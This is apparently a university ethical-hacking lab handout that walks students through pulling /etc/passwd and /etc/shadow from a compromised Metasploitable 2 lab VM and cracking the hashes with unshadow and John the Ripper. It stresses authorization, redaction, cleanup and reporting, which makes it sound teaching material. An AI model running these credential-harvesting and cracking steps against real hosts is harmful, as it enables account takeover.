

Lab 4: Would the Passwords Survive? — Password Auditing with John the Ripper

Session 4 — Post-Exploitation & Reporting

Course: Hands-On Ethical Hacking and Network Defense, 4e — Module 1 companion lab **Estimated time:** 75–90 minutes **Prerequisite:** Labs 1–3 completed — you can obtain a root shell on Metasploitable 2 via the vsftpd backdoor. **Based on:** Module 1’s “Would the Passwords Survive?” walkthrough and “The Product: A Vulnerability Report.”

1. Learning Objectives

By the end of this session you will be able to:

- Retrieve password hashes from a host you’ve already gained access to, and explain why that step needs its own authorization
- Combine `/etc/passwd` and `/etc/shadow` into a crackable format and run a wordlist attack with John the Ripper
- Distinguish a password-policy finding from a cryptography failure
- Write the two-sentence version of a finding that a client’s engineer could actually act on

2. ⚠ Scope Reminder — A Second Authorization Question

Getting a root shell authorizes you to be on the host. It does not, by itself, authorize you to read and crack the passwords stored on it — the module’s own material is explicit that the same authorization has to reach the passwords too. In a real engagement, this is exactly the kind of scope question the Four Gates exist to force you to ask before acting, not after. For this lab, your instructor’s assignment covers this step; write down, in your own words, the one sentence that would need to appear in a real scope document to authorize it.

3. What You’ll Need

- A root shell on Metasploitable 2 (repeat Lab 3’s Part C–D if you restored the snapshot)
- Kali’s `john` and `unshadow` (both pre-installed)
- Kali’s bundled wordlist: `/usr/share/wordlists/rockyou.txt` (shipped compressed — see Part B)

4. Procedure

Part A — Retrieve the Hash Files

From your Metasploitable root shell (via `msfconsole`, or by re-running Lab 3’s exploit):

1. View both files that together make a crackable target:

```
cat /etc/passwd
cat /etc/shadow
```

2. Copy each to Kali. The simplest path inside a Metasploit session is:

```
download /etc/passwd /home/kali/passwd.txt
download /etc/shadow /home/kali/shadow.txt
```

(If you’re working from a plain shell instead of a Meterpreter-style session, copy the text out manually into two files with the same names.)

Part B — Prepare the Wordlist and Combine the Files

1. On Kali, unpack the wordlist if it’s still compressed:

```
ls /usr/share/wordlists/rockyou.txt*
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
```

2. Merge the password and shadow files into one crackable file:

```
unshadow passwd.txt shadow.txt > combined.txt
```

Part C — Run the Attack

1. Launch John against the combined file:

```
john --wordlist=/usr/share/wordlists/rockyou.txt combined.txt
```

2. Let it run. Watch the accounts fall in real time.
3. Once it finishes (or you've let it run long enough for the discussion), display the results:

```
john --show combined.txt
```

Part D — Read the Result, Don't Just Screenshot It

1. Record, per account: username, whether it cracked, and (if it did) roughly how long it took.
2. Note which account, if any, did **not** crack against this wordlist. That's a genuinely different finding from the ones that did.

5. Writing the Finding

This is Phase 5 — Reporting — the phase the module calls “the actual product.” A good finding is written for the person who has to fix it: a clear statement, the evidence, and an action.

Write two sentences, addressed to Metasploitable's system administrator, covering:

1. What you found (which accounts, how quickly they fell)
2. What single control would most likely have stopped it — length rules, rotation, or multi-factor — and why you picked that one over the other two

6. Clean Up

1. Delete `passwd.txt`, `shadow.txt`, and `combined.txt` from Kali — you don't need cracked credentials sitting on disk after the lab.
2. Shut down Metasploitable and restore its `baseline-pre-attack` snapshot again, leaving the environment clean for next time.

7. What to Submit

1. Your `john --show` output — **redact the actual password values** in your writeup; report that an account cracked, not the credential itself
2. Your two-sentence finding from Part 5
3. Your one-sentence scope answer from Section 2
4. Confirmation that you completed the Part 6 cleanup

8. Troubleshooting

Symptom	Likely cause / fix
<code>unshadow: command not found</code>	Install John's package on Kali (it bundles <code>unshadow</code>)
John reports “No password hashes loaded”	Confirm <code>shadow.txt</code> actually contains hash strings, not permission-denied output — you need root to read the real file
Nothing cracks after several minutes	Normal for stronger entries in the list — let it run in the background and move on to Part D with the accounts that already fell

This closes the Module 1 technical arc: reconnaissance, scanning, exploitation, and now the human factor behind it. Module 2 moves from what you may do to how networks actually carry the traffic you've been testing.